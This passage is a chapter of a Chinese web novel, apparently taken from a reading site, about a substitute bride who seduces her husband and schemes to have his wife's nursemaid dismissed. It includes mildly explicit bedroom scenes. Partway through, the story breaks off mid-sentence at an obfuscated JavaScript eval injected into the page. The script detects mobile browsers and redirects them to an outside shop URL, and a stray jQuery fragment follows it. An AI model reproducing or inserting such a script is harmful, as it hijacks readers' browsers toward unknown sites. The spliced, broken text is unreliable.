听他这么一说,池萦呆了呆。
不过听着这话中意思,这俩人似乎因为自己闹了矛盾。
想想也是呢。
侯府是开国勋贵,徐沼自然也是众星捧月着长大,弱冠之年又去边关统领万军。
对上周绮兰这个千娇百宠长大的娇女,两个人都有自己的傲气,一旦有了矛盾,可不就是针尖对麦芒。
在徐沼看不见的角度下,池萦的双眸掠过一抹激动,这不就说明,她努力的方向是对的?
一瞬间池萦信心大增!
这个意外收获也鼓舞着她,她尝试着将自己的小脸贴到男人胸前轻啜,就在打算再进一步试探徐沼反应的时候,明显感觉男人的身躯抖了一下。
圈着她腰肢的臂膀就紧了一寸。
看来他很吃温存这一套。
“夫人?”徐沼喉结不由得滚动几下,深眸紧紧锁着池萦。
池萦甚至能感受的到,那铁一般的臂膀迸发着惊人力量,隔着薄薄寝衣,烫的她直打颤栗。
“都道定西侯世子只会领兵打仗,不懂得风花雪月,我看未必,世子对池萦的关注……是不是太多了一些?”
细细碎碎的气音从她口中一一跳出,同样是吃醋的话,徐沼自己都忍不住纳闷,怎么就不似之前那般让人反感?
“外面传的也没错,未娶妻之前,我的确只想守好西北边防。
也实在没想到,夫妻间琴瑟和鸣,当两颗心相撞,灵肉合一时的舒畅,会是这般的令人向往。
夫人,我早该回京登门拜访的。”徐沼虔诚道。
池萦勾了勾唇暗自嗤笑。
男人果然都是这样的,随便钓钓就找不着北。
“干嘛非要在这种时候,提池萦?”池萦佯装不满。
自打摒弃脸皮以后,池萦就跟开了窍似的,没什么话是她不好意思出口的。
不过男人的话听听就得了,哪能真相信?
池萦不在意的笑笑,思忖着自己该怎样悄无声息的给周绮兰挖坑。
想到自己所受的屈辱,哪怕现在还不能撕破脸,她也不见得仇人过得太称心如意。
“可以等我一会吗?”想到自己还未完全消肿的半张脸,池萦觉得有必要做点什么。
但是能做点什么呢?池萦费力想着,突然眼睛一亮,有了一个主意。
说干就干,想从徐沼身上下来,但徐沼却是一刻也不想温香软玉离开。
池萦又不是白白来陪.睡的,她有自己的目的,倘若不能做点文章出来,岂不浪费时机?
池萦没有多少能打的底牌,任何机会池萦都不舍得放弃。
“别急嘛。”她咯咯笑起来,嗓音如同银铃撞入玉盘,清脆悦耳。
笑着的同时,还不忘推拒腰间作乱的大手,“好痒啊。”
“哦?怎么会痒呢?快让为夫瞧瞧,到底是怎么一回事?”徐沼不想佳人离开半刻,表示不愿意松开。
池萦按住他的手,幽幽道:“世子不觉得我的脸,脂粉太厚了吗?”
“是有点……”
是有点?池萦鼓起双颊。
一盒子脂粉只差没有一次性擦完。
提起这个,池萦就忍不住生气,一生气怨气不免就有些重,无心再和徐沼打情骂俏。
打着主意要给史嬷嬷也上上眼药,史嬷嬷可是周绮兰的得力助手,打压史嬷嬷就是打压周绮兰的气焰。
池萦也不管什么矜持面子的,细腰一软,将自己整个人的重心,完全依托给徐沼,歪在徐沼身上。
徐沼惊讶一瞬,随即笑起来,搞不懂他的小妻子怎么一会一个说法?
但是这样的投怀送抱,正和他意,他巴不得妻子多多黏着他。
以往相处时没觉得妻子有趣,自打圆房,妻子给他的惊喜越来越多,他的整颗心都被紧紧拴着。
连出门会友应酬,都觉得无聊,只想回府和妻子相处。
池萦却一点也不知道徐沼对她有了翻天覆地的改观。
当她温热的呼吸洒在男人的脖颈中,用着最轻柔的语调,上着最狠的眼药。
“方才沐浴时,世子是没瞧见,史嬷嬷总是耳提命面。
反正不论什么事,她总是一副过来人、经验足的样子,又是我的奶嬷嬷,念叨多了,总是有些烦的,这一脸的厚重脂粉,闷的难受。”
言下之意,她不想涂脂抹粉,总被史嬷嬷逼迫。
光线昏暗,徐沼看不太清,不清楚夫人脸上涂了几层脂粉,但他能想象的出,夫人懊恼时噘嘴的模样。
能将淡然的夫人逼成这幅样子,史嬷嬷确实居高自傲。
听完这话,徐沼一点也不会感到怀疑,他当即皱眉,侯府最容不得这等欺主的奴才。
他没有出声打断,而是静静的等着夫人把话说完。
“上回……也是史嬷嬷挑唆,她说有人看到池萦与世子私会,在我面前一通指责,我仰慕世子,听了这话我很难不气。
嬷嬷不说劝我冷静,还煽风点火怂恿我去捉奸拿双。”
池萦委屈道,每一个措辞她都想好了,把那天的过错全部推到史嬷嬷头上。
反正徐沼不可能拿这种事当面质问,池萦一点也不担心露馅。
周绮兰动不得,还能动不得她的爪牙?
要是可以捏死史嬷嬷,就相当于折断周绮兰一条臂膀。
少了史嬷嬷这个忠贞老仆,周绮兰想要做什么,也会束手束脚许多。
比起僭越的史嬷嬷,徐沼更想知道夫人主动告诉他这些,为的是什么?
“夫人为何突然和我说这些?还是你们在尚书府的奴才,都像史嬷嬷也是这般行事?”徐沼声音淡漠,听着不像生了怒。
但是有一句很重要,他提尚书府的奴才行事,这不就是点,尚书府出来的仆从都是目无尊卑,居功自傲之徒?
池萦现在毕竟还是周绮兰的替身,手上能打的牌很少,捉襟见肘的,一下子坑的太多,也怕徐沼在周绮兰那边问些什么,引起周绮兰的疑心。
尚书府毕竟是周绮兰的母家,身为替身不找补,也说不过去。
“也不是,娘亲威严,仆从不敢,可能看我年轻,怕我吃亏吧。”
“不敢在尚书府拿大,就敢在侯府撒野?”徐沼声音仍然还是淡淡的。
池萦想翻白眼,她是这个意思吗?
见徐沼不是一点就透,池萦耐着性子继续添油加醋:“世子真的不懂吗?那我是白说了!”
说完趴在人家胸前嘤嘤起来,一副告状没告成功的委屈样,险些令徐沼破功。
他好笑的拍着她的背,声音刻意放的温和。
“好了、好了,快把你那点小珍珠留着,为夫明白的你的意思,不就是想借我的手,除掉史嬷嬷?依你就是。”
见徐沼如此上套,池萦这才满意收泪。
见池萦不再哭,徐沼一下子翻身将人覆下去。
“小珍珠留着为夫发力的时候再掉可好?”说完,顿时挨了一记粉拳。
“哪有这么欺负人的?”池萦嘴上不依,但细软的身子却很实诚,任由徐沼迤逗。
不过男人有时候甚是心大,答应的事情说不定转头就给忘了。
想要徐沼将这些记着,池萦觉得得给他点甜头和奖励。
钓着他,让他有所期待,只有让他牵肠挂肚,办起事来才能事半功倍。
唉,又要又要绞尽脑汁。
刚才已经提过一些,这会已经不好在继续,池萦有些分心的想。
“夫人既然还有精力分心?看来是我不够努力。”
“哪有……”池萦拒绝着,不让他的唇鼻埋入茱萸花中。
不分心不成啊,因为只有扮成世子夫人,在徐沼面前,她才有方便行事的机会。
就好比眼下,她就得牢牢抓住。
还好徐沼不反感她这样。
一切的计划,都得把徐沼哄开心才能完成。
池萦羽睫轻轻颤动,仰起小脸,望着徐沼这张足以让人沉沦的脸,心中虽然涩涩,好歹也是过目不忘的俊脸,她也不算很吃亏。
徐沼忽而察觉一片羽毛从自己的唇上拂过,等他尝到一丝甜味,还没来得及细细品尝,羽毛就已经遁走。
虽然只是浅浅一吻,也足以将他勾的大为意动。
为了不让徐沼在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495372|202461||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
行房的时候发现端倪,周绮兰可谓是煞费苦心。
原本纱质透光的床幔,也被换成双层遮光的绸缎。
池萦看不见徐沼染了欲的清峻面容,但体温相触时,却可以清晰的感受到。
目前的徐还很贪恋她,躁动不止和势不可挡的劲头做不得假
徐沼已经到了快要爆炸的边缘。
不过既然是要钓他,池萦怎么可能乖乖就范?给他尝了一些甜,就绝不给出太多,得你来我往才有意思。
徐沼被勾的浑身紧绷难受,却又无处疏解,有些恼火。
“夫人这是无意行欢?还是欲擒故纵?如果不想,何必还要招惹?”
惹得人一身火气,又不让碰。
真是可恨,徐沼又气又郁闷,整个人一发狠,池萦就不是对手了。
很快就被按倒下去,只能由着双手被紧箍。
“欺负人!”池萦不满咕哝。
徐沼已经进入蓄势待发的地步,大脑已经被原始之欲裹挟,反客为主间,池萦偏偏又打断他的动作。
“可史嬷嬷毕竟是我的奶嬷嬷嘛,对奶嬷嬷喊打喊杀,岂不寒了仆从的心?
往后我再想让她们对我忠心耿耿,哪还有可能?所以撵走嬷嬷……我不能出面。”
“那夫人打算如何?”
徐沼喉结滚动的厉害,燃着小火苗的深目紧锁池萦。
那眼神活像一匹饿狼,只想让她赶紧把话说完,好让他堵住这张喋喋不休的小嘴。
“世子可否借着来妙安居时,指摘嬷嬷,届时若是我出面维护,世子不必顾及我的脸面,发作便是,人前,我毕竟得多给她留些体面……”
还未说完,小嘴就被堵上。
接下来又徐沼主宰战场,池萦浑身泛着粉,像一只软猫缩在男人怀里,享受着徐沼给她顺毛。
徐沼通身舒畅,这会儿心情美妙,拥抱着池萦,就仿佛拥抱着世间最珍贵之物。
想着刚才夫人一直喊痛,徐沼不免挂念。
“还痛吗?”大手欲往下,却让池萦捉住。
“世子还是饶了我吧,在来一次,明天就该被丫鬟们笑话了。”
这话倒是不假,每次和徐沼颠鸾倒凤之后,她得修养个三五日才能好全。
“晚膳时夫人还羞答答的答应,任我为所欲为。”徐沼啧了一声,有些不舍感叹:“再过几日,陛下的任命调书就该下来了,夫人到时候就是想了,为夫也是鞭长莫及了。”
徐沼若不提起这个,池萦都要忘记这回事。
仔细回想,前世徐沼回京成亲,前前后后也就在上京待了两个多月。
西北战事刚平,正是需要徐沼主持大局的时候,料想皇帝也不可能久留徐沼在京,等他播完种,皇帝恐怕就要撵人。
“不可以多待些日子吗?”
“夫人这是舍不得为夫了?”徐沼轻笑。
“要不你和我一块去西北?西北虽不及上京繁华宜居,不过我会尽可能把你安置妥当,不让你吃苦。”
这种事池萦怎么敢答应?
周绮兰在生活上极为骄奢,吃穿用度样样讲究,边关苦寒,天干气燥,她金贵的千金小姐料想是不可能答应徐沼。
而且她就等着徐沼播完种离京,她好暗中瞒天过海,徐沼与她谈论这个,她只会劝徐沼打消这样的念头。
可池萦却不想徐沼离开侯府,她所有的指望都系在徐沼身上,徐沼自然是待得越久越好。
徐沼能这么感叹,他极有可能早问过周绮兰,周绮兰是不可能挽留他的。
池萦焦急的想着措辞,既不能暴露什么,最好也能说服徐沼。
“我们才刚刚成亲,我自然是想多多和世子相处的,多留几个月好不好?”
“夫人忘了?再书房的时候,我提起的这个,你还很冷淡的,还劝我去了军中不用牵挂家里,你会妥帖料理好侯府的事宜。”
连声质问,逼的池萦头疼,那是周绮兰,可我是池萦啊,池萦在心里咕哝。
只是想着徐沼若是不在府中,周绮兰到时候无所顾忌,还不知怎么针对她,池萦就是不愿意,也得拿出浑身解数留下徐沼。